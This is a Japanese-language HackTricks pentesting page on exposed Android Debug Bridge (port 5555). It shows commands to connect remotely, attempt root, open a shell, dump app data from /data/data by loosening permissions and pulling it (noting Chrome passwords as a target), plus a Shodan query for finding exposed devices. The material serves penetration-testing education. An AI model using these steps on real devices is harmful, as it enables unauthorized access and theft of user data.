hacktricks/src/network-services-pentesting/5555-android-debug-bridge.md

46 lines
1.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5555 - Android Debug Bridge
{{#include ../banners/hacktricks-training.md}}
## 基本情報
From [the docs](https://developer.android.com/studio/command-line/adb):
**Android Debug Bridge** (adb) は、デバイスと通信するための多目的なコマンドラインツールです。adbコマンドは、**アプリのインストールやデバッグ**など、さまざまなデバイスアクションを容易にし、**Unixシェルへのアクセス**を提供し、デバイス上でさまざまなコマンドを実行することができます。
**デフォルトポート**: 5555.
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## 接続
デバイスのポートでADBサービスが実行されているのを見つけ、それに接続できれば、**システム内でシェルを取得できます:**
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
```
以下のページでさらにADBコマンドを確認してください
{{#ref}}
../mobile-pentesting/android-app-pentesting/adb-commands.md
{{#endref}}
### アプリデータのダンプ
アプリケーションのデータを完全にダウンロードするには、次のようにします:
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
```
このトリックを使用して、**Chromeのパスワードのような機密情報を取得**できます。この件に関する詳細は、提供された情報を[**こちら**](https://github.com/carlospolop/hacktricks/issues/274)で確認してください。
## Shodan
- `android debug bridge`
{{#include ../banners/hacktricks-training.md}}